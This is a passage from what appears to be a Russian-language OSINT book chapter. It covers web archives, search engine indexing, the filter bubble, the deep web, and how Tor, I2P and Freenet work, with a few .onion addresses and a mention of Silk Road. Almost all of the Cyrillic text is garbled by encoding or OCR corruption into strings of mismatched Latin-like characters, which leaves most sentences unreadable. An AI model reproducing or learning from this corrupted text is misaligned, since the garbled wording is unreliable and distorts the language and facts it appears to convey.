U3 CcTapbiX 0OBSBICHUI 0 paboTe, BBl MOKETE TIOJIYUUTh MIPEACTABICHUE O TOM,
YTO MPOUCXOAUT 3a EPUMETPOM OE30IACHOCTH.

e TIoHCK CKPBITHIX WM 3a0bITHIX cTpaHuIl. VHOT/1a GBIBACT TAK, YTO BO BpEMst 00-
HOBJIEHUST QIMUHUCTPATOPDI 3a0bIBAIOT YAATUTH CTAPBIE BEPCUY CTPAHUIL Eciu
BBl CMO’KeTe HAlTH WX, aHAJU3UPYS apXUB, 3TO IIPUHECET T10JIb3Y, BEb YaCTO
TaKUe CTPAHUIIBI COACPIKAT YA3SBUMOCTH.

PacemoTpuM HECKOJIBKO PeCypcoB, KOTOPBIE TIPEIOCTABJSIOT OCTYTI K TAKOMY TUITY
JIAHHbBIX.

«Wayback Machine», niu «MaiiiHa BpeMeHU», — 9TO BOJIIIEOHBIN MOPTaJ B IIPO-
IIJT0E MHTEPHETA. DTOT CEPBUC, CO3IaHHBII HHTEPHET-aDXUBOM, TO3BOJISET 3arJISTHY Th
B [IPOIILJIOE U YBUETh, KAK BbIIJIsIe/a Ta UK MHas BeO-cTpaHula B JII000i MOMEHT
BpeMenu ¢ 1996 roza u 10 HACTOSIIETO BPEMEHH.
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ITpuHIMIT pabOThI CEPBHUCA TPOCT: OH PETYJISIPHO «CKAHUPYET» U COXPAHSIET CHUMKH
BeO-CTPAHMUIL CO BCETO MUPa. 3aT€M 9TH CHUMKH CTAHOBSITCSI IOCTYITHBIMU JIJIST TIPO-
cmorpa uepes untepdeiic Wayback Machine. Beequre URL-azpec BeO-cTpaHuIlbl
B TI0JI€ TTOMCKA, ¥ BbI YBUANTE KaJeHAAPb ¢ JOCTYIIHBIMU JataMu. BbiOpas 1aty, Bbl
y3HaeTe, KaK BBITJIsI/IesIa CTPAHUIA B 9TOT JIEHb.

OHaKO CTOUT MOMHUTD, YTO HE BCE CTPAHUIIBI B KAJK/BIH MOMEHT BPEMEHHU COXPa-
Henbl B Wayback Machine u He Bce arnbie MOTYT OBITH MOJHOCTBIO BOCCTAHOBJIC-
HBI, 0COGEHHO KOT/[a PEUb W/IET O CIOKHBIX BEO-TIPUIOKEHUSAX 1 THTHAMIYECKOM
KOHTEHTE.

Google Cache — 510 cBOETO pojIa «3amacHast KOMust» BeG-CTPAHUIL, KOTOPYIO CO3/1aeT
Google nipu unnekcainu natepHera. Ona mo3Bosisier Google GbICTPO MOKA3BIBATH
COJIEPKIMOE BEO-CTPAHUIL TIPH TIOMCKOBBIX 3aIPOCAX U MOKET ObITh MOJIE3HA, eI
OpUTMHAIbHAS CTPAHUIIA BDEMEHHO HEJIOCTYITHA WJIHU yajdeHa. YToObI IPOCMOTPETh
K3IIUPOBAHHYIO BEPCHUIO, IOCTATOUYHO HAXKaTh Ha cTpesKy BHU3 psiioM ¢ URL Beo-
CTpaHUIBI B pedyJibratax norcka Google u Boi6pars KawmposaHHas Bepcus.

Ho ectb u HekoTOpbIe orpanndenus. He Bce ctpanuiisr nagekcupytores Google
U UMEIOT KLIMPOBAHHBIE BEPCUU, IUHAMUYECKUI KOHTEHT He Beerga 0To0paKkaeTcs
koppektHo. Heemorpst Ha atu orpanndenusi, Google Cache ocraercst MOIIHBIM WH-
CTPYMEHTOM JIJIST UCCJIEIOBAHUSI MHTEPHETA, TO3BOJISIST HAM BUIETH BeO-CTPAHUIIBI
JIasKe TOT/IA, KOT/Ia OHU YK€ HEOCTYITHBI B UX UCXOAHOM PACIIOTIOKEHU.

Archive.Today — 9TO CEPBUC, ITO3BOJISIONINIA ITOJIb30BaTEISIM CO3/IaBaTh CHUMKH
Be6-CTpaHI/IL[ JUIA JOJITOBPEMEHHOTO XpaHeHM A, ITO HEMHOTIO TIOXOJKe Ha CO3/[aHNe
CKpHHIOIOTa Ha CMapT(bOHe, HO B 9TOM CJIy4da€ pedb UJET O IEJbIX Be6-CTpaHI/IHaX.
CepBI/IC npeajiara€t BOSMOKHOCTDb «3aMOPO3UTb» MOMEHT BpEMEHU Ha 106011 Be6-
CTpaHMIIEe, CO3/laBasd ee TTOJTHBII CHHUMOK, BKJIIOYATOTIIUIA TEKCT, I/1306p3.>KeHI/IH n He-
KOTOpPbIE 9/71IEMEHTBI MHTEPAKTUBHOT'O KOHTEHTA.

CepBI/IC ImoJie3eH AJiA COXpaHeHuA BaskKHOU I/IH(bOpMaI_[I/II/I, €CJIN OpUTHUHaJIbHAA
Be6-CTp8.HI/IHa BIIOCJIEICTBUM U3MEHUTCA NJIN MCUE3HET. KpOMe TOro, 3TO LEHHbII
WHCTPYMEHT JIJIA I/ICCJIEHOBELTGJIEI?I, HNCTOPUKOB, )KYPHAJIMCTOB 1N JII06OIIBITHBIX 10JIb-
SOBaTeJIeI'/JI, KOTOpbIE XOTAT U3YUUTDH IIPOIIIOE Be6-CTpaHI/II_[I)I NJIn COXPAaHUTDb CBON
cOOCTBEHHbIE HaXOJAKH.

CKpbITbIN MHTEPHET

Hackosabko Xopo1mo Bbl 3HaeTe WHTEPHET? Bbl HaBepHSKA TTOJb3yeTECh TAKUMHI
caiitamu, kak BKonrakre, STanexc, Google, Youtube u etrie mapoii gecsiTkoB apyrux
WHGOOPMAIMOHHBIX PECYPCOB, HO BCs JiN 9TO fAocTynHas nabopmarmsa? Ha camom
JieJie HeT, PealbHOCTh TaKOBa, 4TO OOJIBIAst YaCTh PECYPCOB TaK MJIU WHAYE CKPbITA
OT BAIIINX IJIa3.

CormacHo IIPpUMEPHDBIM ITOACYETaM, KOJIMYECTBO aKTUBHbBIX MoJib30BaTesell Ha JlaH-
HBII MOMEHT IIpEBbIIIACT 4 MWJJIMapJa 1 6leeT TOJIBKO YBEJINYNBATHCS B OsvsKail-
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mem OyayiieM. B ¢cBoio ouepesib, KOJMUYECTBO aKTUBHBIX CAaliTOB COCTABJISIET TIPH-
MepHO 2 musuinap/a. s cpaBHeHM, KOJMYeCTBO aKTUBHBIX CAiTOB B TEMHOI YacTh
uHTepHeTa, Tak HazbiBaeMoM DarkNet, Bappupyercs, Mo IPUMEPHBIM TIOCYeTaM,
ot 50 110 60 Teicsay. HecmoTps Ha TO uTO nojasJisioniee OOJIbIINHCTBO CAliTOB Bee
JKe HaXOJIUTCA B OTKPBITOM JIOCTYIIE, COBPEMEHHbBIE TOMCKOBBIE CUCTEMbI ITPOUH-
JEKCHPOBAIU TOJBKO OKOJIO 5 % JAOCTYITHOM WHGOPMAIIUT, BCST OCTATIbHAS OCTAETCST
B riiy6okoM cermente cetu (deep web), srimouas DarkNet.

MpUHUMNBI paboTbl MOUCKOBbIX CUCTEM

ITpuBeeM KpaTKoe onucaHue IPUHIKIA paboThl JTH0O0H HUPOKO U3BECTHOI MOUC-
KOBOI CHUCTEMBI.

[MowckoBbie po6GOTHI (TaksKe HA3bIBAEMBIE «TTAYKW» WK Crawlers) OTIpaBisioTes Ha
CalTbl, UCIIOJIb3YS CChLIKYU, KOTOPDbIE YiKe UMEIOTCS B UHJIeKce, M HAYMHAIOT CKAHU-
POBaTh COAEPKUMOE CTPaHUIl. POGOTBI MOTYT MOJIYYATh CCHLIKM HA HOBBIE CTPAHUITbI,
€CJTH OHW HAXOMISITCS Ha Y/Ke M3BECTHDLIX caiiTax. Takske caMu pa3pabOTINKY CTPAHMIII
MOTYT 3alPAITUBATh UHJICKCAITNIO HOBOTO CAlTA, UCIIOJIb3Ys ClielnaIbHble (hOPMBIL.

HpI/I CKaHHNPpOBaHUN pO6OTbI AHAJIM3NPYIOT COAEPKUMOE CTPAaHUILbI, a TAKKE CCbIJIKU,
Ha KOTOPbIE OHA YKa3bIBACT, N OTIIPABJIAIOT 3TY I/IH(I)OpMaHI/IIO Ha cepBep MTOUCKOBOI
CHUCTEMBDI.

Cepsep obpabarbiBaeT nHGOPMALUIO U J06aBISET CTPaHUIly B uHeKC. MHpeke —
9TO OTPOMHasA 0a3a JaHHBIX, cofepsKamas HHPOPMAINIO 0 MHOTUX MUJIIHAPAAaX
BEO-CTPAHMNLI.

B miporiecce nniekcaIy OMCKOBbIE CUCTEMbI AaHAJIM3UPYIOT KJIIOUEBbIE cJl0Ba U (pa-
3B, COJIEpsKAIMecs Ha CTPAHUILE, a TaKKe IPyrue JaHHble — 3ar0JIOBKH, OIIMCAHNE
CTPAHUIIBI, METATETH U T. [I. ITa WHGOPMAIIUA UCITIONB3YETCS IS PAHKUPOBAHUS
CTPAHUIL IIONCKOBOM BbIIa4M B OTBET Ha 3alIPOCHI 110JIb30BaTeIeH.

[TorckoBbIe CCTEMBI HCITOJIB3YIOT PA3IUYHbIE AJITOPUTMBI 1 (DOPMYJIBI JITIS OTIpeie-
JIEHUSI PENIEBAHTHOCTH CTPAHUIL U OTIPeIeJIEHNs UX TIO3UIIUU B Pe3yJIbTaTaX MONCKa.
DakTopBI, BJAUOIINE Ha PAaHKUPOBAHIE, MOTYT BKJIIOUATh B ce0s1 KOJIMYECTBO BHEII-
HUX CCHUIOK, YKA3bIBAIOLIMX HA CTPAHUILY, ee cojepkumoe U T. 1. OHU MOryT ObITh
YACTHYHO WU HOJHOCTBIO CKPBITHI OT IIyOIMYHOTO AOCTYIIA, YTOOBI He J0IyCKaTh
MaHUTYJINPOBAHUS PE3yIbTaTAMU PAHKUPOBAHMS.

KOFZ[a IIOJIb30BaTEJIb BBO/IUT 3alIPOC B ITIOMCKOBYIO CUCTEMY, OHA BBITIOJIHAET ITONCK
B CBOEM MH/EKCE, NCITOJIb3Y aJITOPUTMbBI PAHKNPOBaHNsA, 1 BBIBOJUT CITMCOK PE3YJIb-
TaTOB, nanbogee PpeeBaHTHBIX /JIA 3alipoca IMoJIb30BaTeJIA.

B memrom mpottecce c6opa nHGOPMAIITT 1 MHAEKCAITMY CAUTOB MOUCKOBBIMU CUCTE-
MaM¥ ABJISETCS TUHAMUYHBIM U TTOCTOSHHO U3MEHSIONIMMCS, TIPU 9TOM MHOKECTBO
(haKTOPOB BAMSIOT HA PAHKUPOBAHNE CTPAHUI] B PE3yIBTaTaxX MOMCKA.

IIpoGiaema uHbOPMAUOHHOTO y3bIPs. VTHGOPMAIMOHHBI Ty3bIPb — 9TO (e-
HOMEH, IIPU KOTOPOM II0JIb30BATE/IN B MUHTEPHETE CTATKUBAIOTCS TOJIBKO ¢ MHPOP-
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MaHI/Ieﬁ, KOTOpas COOTBETCTBYET UX IIPEANOYTCHUAM, MHECHUAM 1 UHTEPECaM, B TO
BpeMA KaK TO, YTO AUCCOHUPYET C UX B3TJIALaMU, UTHOPUPYETCA UJIN HE ITOABJIACTCA
B IIOMCKOBBIX pe3yJibTaTax.

ITonckoBbIe CUCTEMBI CTAHOBATCS OZHUM 13 OCHOBHBIX UCTOYHUKOB (pOpMI/IpOBaHI/IH
MH()OPMAITMOHHOTO y3bIPS, MOCKOJBbKY OHU YaCTO MPEIOCTABISIOT TIEPCOHATTU3U-
pPOBaHHbIE PE3YJIBTATHI TIOUCKA HA OCHOBE €r0 UCTOPUH, TIOBEIEHUS TI0JIb30BaTEJIsI
U IpyTHUX (haKTOPOB.

OnHoit u3 pobiieM HHGOPMAITUMOHHOTO MY3bIPSI SIBJSIETCS TO, YTO TOJH30BATENN
TEPSIIOT BO3MOKHOCTD PaCIIUPUTh CBOU ITO3HAHUS IIPU MCCJIEIOBAaHUH OIIPe/IeIeHHbIX
TeM U, He 0CO3HABAasI 3TOTO, HEJIOTOMYUIat0T NHMOPMAITIIO, KOTOPast MOXKeT PacIIn-
PHUTb UX TOPU3OHTHI MJIH CIIOCOOCTBOBATD MOSIBJIECHUIO KPUTHUECKOTO OCMBICJIEHUST
MHTepeCcyIoIIero Bompoca. ITo BesieT K (hOPMUPOBAHMIO Y3KOTO KPYTo30pa 1 orpa-
HUYEHHOCTH BOCIPUSITHSI MUPa.

Kpome Toro, nuaGOopMalMoOHHbI IIy3bIph CIIOCOOCTBYET YKPEILIEHUIO CYLIECTBYIO-
mux yoeskAeHnil 1 B3IJISIOB [OJIb30BaTe e, co3/aBast JOKHOE BIIEUaTICHIE, YTO
WX MHEHWE SIBJISIETCS e[UHCTBEHHO MTPABUJIbHBIM, & JIIO/IU C OTJTUIHBIMU B3TJISIIIAMU
ommbarTcest. B koHeuHOM nTore HHGOPMAIMOHHBIN y3bIPb MOKET IPUBECTH K 110~
JINTUYECKON U COLMAIBHON HOJIAPU3ALUU U OFPAHIUYEHIIO CBOOO/IbI MBICJI 1 Bbl-
paxxenus. OH TakKe OKa3bIBaeT HETATUBHOE BJIUSTHUE HA KAUECTBO TIPUHUMAEMBbIX
[0JIb30BATEIeM PElleHni, HallpuMep, IIPU BIOOPE KaHAuaaTa Ha BbIOOpaX WK
OIleHKe HOBOCTEI.

Pettenviem aT0ii po6GIeMBbl SIBJSIETCS Paciiupene HHGOPMAITMOHHON TPaMOTHOCTH
MOJIb30BaTEJI€eil, 0CO3HAHHOE MCIIOIb30BAHNE PA3JINYHBIX TIOUCKOBBIX CHCTEM U J10-
cry1 Kk 6oJiee paznoobpastoi nHbopMarwi. [IoncKoBbIe CHCTEMbI MOTJIM Obl HCIIOJIb-
30BaTh AITOPUTMBI, YIUTHIBAIOTIIE MHEHUST U B3TJISA/IbI, OTIUYHBIE OT TE€X, KOTOPBIE
MOJIB30BATEb 0OBIYHO UIIET, U TIPEAOCTABISTH O0Jiee Pa3HOOOPa3HbIE PE3YIBTAThI
MOKCKA, HO 3TO BPSIL JIK IPOU30N/IET B CKOPOM BPEMEH.

MNorpy>xeHne

Kak YK€ YIIOMNHAJIOCh, CKAaHEPBI ITIOMCKOBBIX CUCTEM O6Hapy>KI/IB3.IOT HOBbBIE CTpa-
HUIIBI, IIEPEXO/A ITO CChIJIKaM. O,/IHaKO 9TOT METO/J HE naeasieH, 1 OI‘pOMHbeI 00BbeM
JaHHBIX OCTA€TCA HETIPOMHAECKCUPOBAHHBIM, ITOCKOJIBKY CKaHEPbI TIOMCKOBBIX CUCTEM
HE MOTYT MOJIYYUTDb K HUM JIOCTYIT Yepe3 B66-CKaH€pH.

[Ipoummoctpupyem 3TO Ha puMepe TOTOAbL. [Ipenmosoxum, BBl METEOPOJTIOT
U XOTUTE Y3HATh, KaKas ObLIa ToToj1a B aspornopty ropoaa Puru s 2021 roxy. Ilo-
MCKOBAs CUCTEMA ITOMOKET BaM HAUTHU CAWTBI, AfONUE BO3SMOKHOCTD TTOJYIUTD
Takyto HHGOPMAIINIO, TIOCKOJIBKY TaK YKa3aHO Ha CAMOM CaliTe; 0JJHAKO TIOTO/[HbIE
MaHHBIE TIOMCKOBAs CHCTEMA MOJYIUTH HEe CMOYKET, BEIb JIJIsT 9TOTO HEOOXOIIMMO
He MPOCTO TEPEUTH M0 CChIIKE HA CTPAHUILY, HO M aKTUBHO B3aUMO/IEHCTBOBATD
C Pa3JINYHBIMU dJIEMEHTaMU yTipaBienus (puc. 3.54), 4ero moucKoBbie POOOTHI
JenaTh He yMeroT.
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Puc. 3.54. lNonyyeHne nHdopMaumm o noroge € UCNob30BaHWEM Pa3INYHbIX
3/IEMEHTOB YrpaB/ieHuns

HO.HyLIeHI/Ie TaKUX ITAaHHBIX ABJAECTCA OJHUM U3 CaMbIX IIPOCTBIX IIPUMEPOB ITOMCKa
uH(bOpPMAIK B IIIyGOKOM CETMEHTE CETH.

MHorHe 1moJIb30BaTeNN U Jaske 9KCIEPThI YaCTO MyTAIOT MOHATHE TIIyOOKOrO WH-
teprera u DarkNet. IToraTie riyGoKOro HHTepHETa OXBAThIBAET OOLIEIOCTYIIHbIE
pPecypchl, KOTOpbIEe He MOTYT ITPOUH/IEKCUPOBATH TaKUe TIOIYJISIPHbIE TTOUCKOBbBIE
cucrembl, kak Google, Yandex niu Bing, Ho TeM He MeHee OHU BCe PaBHO JAOCTYIIHbIL
MOJTB30BATEJISIM CO BCETO MUPA € MOMOIIBI0 0OBIKHOBEHHOTO Opaysepa u 6e3 obJrazia-
HUA CIICIUAJIN3NPOBAHHBIMA 3HAHWUAMM.

Takue pecypcbl OOBIYHO MTPEOCTABIISIIOT HH(DOPMAIIIO U3 CBOUX CIIEIUATN3UPOBAH-
HbIX 6a3 JJAHHBIX, U OJIb30BATEISIM JIJIST TIOJIYIE€HUST IOCTYIIA Yallle BCETO MPUXOJUTCS
3a/1aBaTh OMpe/ieieHHbIe (DUIIBTPBI, HATPUMED JIATy WJIN KJII0YeBbIe CIOBA.

TeMHbIM cerMeHT CeTu

Terepn, KOT/Ia MbI TOJTYYHIIH TTPEICTABICHUE O TTYOOKOM MHTEPHETE, HACTAIO BPEMsT
HOIrPYy3UThCA Ha cienylonuii yposenb — B DarkNet. DarkNet, wiu TemHas yacTb
MHTEPHETA, OBLT cOo3/[aH B KOHIle XX BeKa B KAUECTBE HHCTPYMEHTA [IJist aHOHUMHOTO
ob6MeHa mH(OpMAITel 1 cCOXpaHeHNsT KOHPUIEHITUATLHOCTH B OHJIAITH-KOMMYHUKa-
mstx. B mepByio ouepenb oH GIT pazpaboTaH I UCTIOMB30BAHUSI TEMHU, KTO XOTEJ
u36exkaTh CJAEKKA U KOHTPOJISI CO CTOPOHBI MTPABUTENbCTBA, MOJUIINN WK JAPYTUX
OpraHu3aIui.

OpHUM 13 TIEPBBIX IPOEKTOB, KOTOPBIH puBes k co3nanuto DarkNet, 66wt Tor (The
Onion Router), co3nanublii uccaenoBatesiMu u3 MaccauyceTckoro TeXHoJIornde-
ckoro unctutyTta (MIT) B 2002 roxy. OcHOBHOIT 3a/1aueii YIEHBIX SIBJSIOCH UCCTE-
MOBaHWE BO3MOKHOCTH obecriedeH st 6e30TmacHOi 1 aHOHUMHON CBSI3M B THTEPHETE.
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C momormpio Tor mob30BaTENN MOTYT 0OXOUTD TIEH3YPY 1 (DUIBTPAITHIO, & TAKKe
ckpbiBath cBoit [P-azpec.

IMossxe B DarkNet mosiBuioch 60JbII0e KOJIUIECTBO CAUTOB U (hOPYMOB, KOTOPbIE
IIPEJOCTaBIIAIOT JOCTYIL K HeJleraslbHbIM yCJIyraM — IIpojia)e HapKOTUKOB, OPY KU,
KPa/leHbIX KPEJAUTHBIX KapT ¥ T. . B TeueHne MHOTHX JIeT TPaBUTEIBCTBA TI0 BCEMY
MUPY [BITAJIUCH 3aKPLITh 9TU CAlTbl, HO M3-3a UCII0Jb30BAHUS CPEJACTB AHOHUMU-
3aIiu CEIaTh 9T0 OBLITO 10BOJBHO caoskHO. Ceromust DarkNet ocraerest ogHoi 13
CaMbIX CEKPETHBIX U HEJOCTYIHbIX YacTell MHTEPHETa, U HECMOTPS Ha BCE YCUIIHS
IIPaBUTEJIBCTB, €€ He TaK-TO JIETKO [TOJTHOCTHIO U30JI1POBATh.

[Momp3oBaTenu ncmos3yior DarkNet 71t pasmmaHbIX 1ies1eil, B OCHOBHOM J7Ist 00X0/1a
BCEBO3MOJKHBIX OTPAHUYEHUI, BO3MOKHOCTH OTKPBITO BBICKA3aTh CBOE MHEHIE, HO
TaKJKe U JIJisi COBEPIEHUsT He3aKOHHBIX JeficTBUil. [loBepXHOCTHBII aHamu3 mpu-
MEPHO MATON YacTH JapKHeTa ToKaszas, 4To 0koso 70 % pecypcoB crocobeTBYIOT
OCYIIEeCTBICHNIO He3aKOHHOM JIeITeIbHOCTH (TOPTOBJIe OPY’KUEM M HApKOTUKAMI,
MPOIasKe MEePCOHANBHBIX JIAHHBIX, YCIyTaM 110 He3aKOHHOMY MTPOHUKHOBeHUI0 B 1C
nT.1I.).

Ha nannbrii MOMEHT caMbIMU IIONYJISIPHBIMU TeXHOJOrHaME goctyna B DarkNet
asistiorea Tor, IP2, Freenet.

Tor (The Onion Router) — camast momyJisipHast 1 HIMPOKO UCIOJIb3yeMast aHOHUMHas!
ceTb. OHa MCIIOJIB3YET JIYKOBYIO MAPIIPYTU3ANUIO (TIPH KOTOPOIi ICXOHBIE JIAHHBIE
CIIPSITAHBI IO/ MHOTOYHMCIEHHBIMU CJIOSIMU TIN(DPOBAHII ) /71T CKPBITUST MECTOIIOJIO-
JKEHUS U aKTUBHOCTH T10JIb30BaTe el U 00eCIIenBaET JOCTYII K caliTaM, KOTOPbIE He
UHJIEKCUPYIOTCSI OOBIYHBIMU TIOMCKOBBIMU CHCTEMAMU. TOT Tak:Ke TPUMEHSIETCST [IIst
MOCTYTIa K KOHTEHTY, KOTOPBIT OJIOKUPYETCS B OTIPEIEIEHHBIX CTPAHaX.

I2P (Invisible Internet Project) — 910 aHOHMMHAsI CETh, KOTOPAsI TAK/KE UCIIOJIb3YET
JIYKOBYIO MapIIPYTU3ALUIO A/ 0OecedeHus: Oe301MacHOCTH U KOHMDUAEHIINATLHOCTH
noJb3oBaresieii. 12P cospana ais obmena ailiaMu, OTIpaBKy COOOIEHMIT 1 elleH-
TPaJU30BaHHbIX HpuIokeHnit. OHa umeer OOJIbIIOE KOJUYECTBO <eepsites» — cail-
TOB, KOTOPbIE JIOCTYITHBI TOJIbKO B [2P 11 He BUHBI N3BHe.

Freenet — etrie ojiHa aHOHUMHAL CETh, UCTIOJB3YIONIAS TEXHOJIOTHIO PaCIIPee/IeHHOTO
XPaHEHUST JAHHbIX JIJIsT 0OecTiedeH st Ge30MacHOCTH U AHOHUMHOCTH I0JIb30BATEEN.
Freenet mpumvenstercs st ooMena baiitaMu 1 XpaHeH!sT KOHTEHTA, KOTOPBIIT MOJKET
OBITH ToCTyTIEH TONIBKO Yepes Freenet. Kak u 8 Tor u I2P, nanusie B8 Freenet mudpy-
I0TCST U TIepeIaloTest Yepe3 MHOKeCTBO Y3108 CeTH, 4ToObI 06eciednTh GE30TaCHOCTh
1 KOHMUJACHIIUAIBHOCTD 110JIb30BaTesell. XapaKTepHO, 4TO OJ[HAK/Ibl 3arPy>KEHHbIE
B CeTb JIaHHBIE HE MOTYT OBITh Y/IAJICHBI, U He CYIECTBYET €IMHOTO cepBepa, OTKIIO-
YeHre KOTOPOTO MOTJIO ObI TIOBJIEYD UX YaJIeHHeE.

B cBasu ¢ temubim VHTEPHETOM CTOUT TAKIKE YIIOMAHYTH KPUIITOBAJIIOTY, BEIb UMCH-
HO C e€ TIOMOIIBIO ITPOUCXOST OCHOBHbBIE PACYEThI B TITyOOKOM CErMEHTE MHTEPHET,
TaK KaK MCIO0JIb30BaHNe JAHHOTO BU/IA OTLJIATHI TO3BOJISIET COXPAHUTH AHOHUMHOCTD
KaK OTIPAaBUTENIO, TaK U MOJYYaTeNIo IeHEKHBIX cpecTB. Camoli U3BeCTHOH, HO
JIAJIEKO He eMHCTBEHHOM KPUITOBAIIOTON Ha JaHHBIM MOMEHT SIBJISIETCSI OUTKOWH.
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Hoctyn B DarkNet

B nacrostiiiee BpeMs, Kax yrke ObIIIO CKa3aHO, CAMBIM MOTYJISIPHBIM CIIOCOO0M JIOCTYTIA
B DarkNet siBaisiercst Tor. Heo6X01uMOo TIpeocTepedb YATATeIst: BO MHOTHX CTPaHAX
ucrosb3oBanue Tor orpaHuYeHo 3aKOHOM, OY/IbTe BHUMATE/ILHBI U He HapylaiTe
ero. Tak, B CIIIA nipu ornpe/iesieHHbIX YCIOBUSX MOTYT BbIIATh OPJep Ha MCCIeI0-
BaHMe J0O0TO KOMITBIOTEPA B MUPE, Ha KOTOPOM UCIOIb3yeTcst Tor, a B HEKOTOPBIX
caydasx —u VPN.

Cawmbiii ipoctoii crioco6 Boiitu B DarkNet — uepes o6braHbIil Opaysep U crielnnaibHbie
BeO-CepPBUCHI, 00ECTIEUMBAIOIINE JOCTYII K CKPLITBIM pecypcam. OHAKO HEOOXOIUMO
Y4€CTh, UTO TAKKME CEPBUCHI HE TAPAHTUPYIOT TIOJTHOTO IOCTYTIA ¥ CTAOMIBHOM PaGoThI.
Takske TIOMHUTE, YTO UX MCTIOIH30BAHNE CBA3AHO C PUCKAMU TIOTEPH AHOHMMHOCTH,
M09TOMY HACTOSITEJIHHO PEKOMEH/TyeTCst TIpH paboTte ¢ Humu npuMeHsTh VPN,

Pecypent amist moctyma x Tor 6e3 cenmanusuposantoro 110:

e https://www.tor2web.org;
e https://torsearch.com;
e https://www.torry.io.

Mcnonb3oBaHune Tor

Tor oTmpaBasieT MOIB30BATEIBCKIIE 3AIIPOCHT Yepe3 MHOKECTBO PETPAHCIISITOPOB MIIN
Y3J10B, 00BIUHO He MeHee Tpex. Bee mpoxoisiiye uepes aTu yaJibl JaHHble 3aiudpo-
BaHbl. [lepBhIil peTPAHCAATOP YCTAHABIUBAET MOIKIIOUEHIE MT0Jb30BATENS K CETH
Tor. IToT y3es 3HAET Ballle TEKyIlee MECTOTIOTIOKEHIE, TI0ATOMY PEKOMEH/TYeTCs
cHavasa ucrosb3oBarh VPN-1oakIr0YeHe, UTOOBI CKPBITH €TO.

Bropoit y3en 3Haet, 4TO fAaHHDIE TIOCTYIAIOT OT MEPBOTO Y3714, TPETUH y3€sT 3HAET
TOJIBKO TO, UTO JIAHHBIE TIOCTYIIAIOT OT BTOPOTO y3ia, u T. 1. [lociepHuii y3en, Tak-
JKe M3BECTHBII KaK BBIXOAHON, HE MMeEEeT BO3MOKHOCTH TTOJNYYUTh HH(MOPMAIUIO
0 TIepBOM y3ite. Y3inl B Tor He cOXpaHIIoT HHGMOPMAIIUIO O TIPOTITEAITHX Yepe3 HIX
MaHHbIX, BCe coennHenus mudpyorcs. OHAKO caMBIM CJIA0BIM 3BEHOM B TITaHE
JIEAHOHUMU3AIMU TIPUHATO CYMTATh BBIXOAHON y3eJ, Tak Kak UMEHHO TYT JaHHble
MOTYT GBITh TIEPEXBAYCHBI, €CJIH He ObLH 3a1idpOBaHbI HaIesKHO. MI3BeCTHBI coryvan
aTak, B Pe3yJbTaTe KOTOPBIX KOMITBIOTEPDI MOTH30BATEIEH HE3AMETHO OTIPABIISIIN
HesarnppoBaHHble TaHHbIe. ITOOBI CHU3UTH BEPOSITHOCTD TAKOTO UCXO/1A, PEKOMEH-
myetcst Beerzia ucnosinbzosath peskum HTTPS-only (puc. 3.55).

Tor pabGoTaeT TOJIBKO ¢ caiiTaMy, HAXOAAIIMMKCI B JJOMEHe .onion, J0CTyI K KO-
TOPOMY BO3MOKEH TOJIBKO yepes 9ToT Opaysep. Ckauath Gpaysep MOKHO ¢ caiita
torproject.org.

CkauaB u 3amyctus 6paysep Tor, BBl MOKeTe HayaTh cBoe 3HakoMcTBO ¢ DarkNet.
Ecam aTo Ba mepBbIii BBIXO/] B TEMHBIN CETMEHT CeTH, pEKOMEH/[yeM HauaThb C caiTa
http://zqktlwi4fecvoéri.onion/wiki/index.php/Main_Page, KOTOPbIi COAEPKUT MHOKECTBO
CCBIJIOK Ha PAa3JIMYHBIE MOJE3HBIE PECYPCHI U MOKET OBITh HETLIOXOU TOYKOIT OT-
npasyieHuss. OfHAKO YUTHTE, YTO HE BCE CCHIIKU OKAKYTCS PAOOUNMU, & HEKOTOPBIE
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HTTPS-Only Mode

HTTPS provides a secure, encrypted connection between Firefox and the websites you visit. Most
websites support HTTPS, and if HTTPS-Only Mode is enabled, then Firefox will upgrade all
connections to HTTPS.

Learn maore
@ Enahle HTTPS-Cnly Made in all windows Manage Exceptions...
() Enable HTTPS Only Mode in private windows only

() Don't enable HTTPS-Only Made

Puc. 3.55. BrtoueHne HTTPS-only mode B HacTpoiikax Mozilla Firefox

cailThl GBIBAIOT JIOCTYIHBI TOJIBKO B CTPOTO otpesieieHHoe Bpemst. B DarkNet, kak
U B OOBIYHOU CETH, €CTh CBOM TMOMCKOBBIE CHCTEMBbI, COIMAIbHbBIE CETH, TIOUYTOBbIE
CepBUCHI U MHOroe Aipyroe. BoT HECKOJILKO CCLLIOK:

® T10YTOBBIN cepBuc http://p6x47b547s2fkmj3.onion;
e couuasbHag ceThb http://atlayofke5rghsma.onion;
e TqouckoBas cucrema https://3g2upl4pgbkufc4m.onion.

Euie pas o6pariaio Baiie Buumanue: Tor ObLI CO3/1aH JJIs TOr0, YT00bI [10J1b30BATEIN
AHOHUMHO IIpOCMAaTpUBaJnN O6bI‘~IHbIe pecypcChbl MHTEpHETAa, 1 BCeTraa CymecTByeT
BEPOSATHOCTD, YTO Ballla AHOHUMHOCTD MOKET OBITh PACKPBITA Ha BHIXOAHbIX TOUYKAX.
B orsmmuue ot Tor, I2P nuinena Takoro HepocTaTKa 1 paboTaeT 110 IPUHIUITY «CETh
Ha/l CETbhIO». Taxxe cTour 3aMEeTHUTDh, YTO CKOPOCTH COEJIMHEHNA KPUTUYHO ITa/la€T
U3-3a IPOXOKAEHUS TpapUKa 4ePe3 MHOKECTBO Y3JI0B, 0COOEHHO B TO BPEMS, KOT/IA
CETPIO TOMIB3YeTCsA OOMBINOE KOJTNYECTBO JTO/EH.

OSINT u geaHOHMMM3aUMS NoNnb3oBaTeneun

ITpuBemeM TIPUMEP TOTO, KaK CHENCTYKOAM yIAI0Ch J€AHOHUMI3UPOBATh U 3a/Iep-
JKaTh BJIAJIENbIIA OJHON M3 KPYITHEHINNUX MJIOMAJ0K MO TPOJake HAPKOTHYECKUX
cpeactB. DTo GblIa foJras U KporoTinBas pabora, KoTopast TpeboBasia cbopa Beeil
noctymHoi nHhopmaru. CTOUT 3aMeTUTh, YTO A/IMUHUCTPAITUS TAKUX CEPBUCOB IO
HOHATHBIM IIPUYMHAM OYeHb CEPbE3HO OTHOCUTCS K CBOEH GE30I1aCHOCTU U AHOHKM-
HOCTH, HO Ja)Ke y HUX ObIBAIOT IIPOKOJIBL.

Silk Road usBecten Kak oMH U3 KPYITHEHIITMX OHIANTH-PHIHKOB HEJICTATbHBIX TOBA-
pos u yeayr B DarkNet. Ero agmusucrpatop Poce YiabOpuxT, U3BeCTHBI 110 HUKOM
«JIpen ITupat PobGepre», 6b11 apectoBat B okTsi6pe 2013 roza.

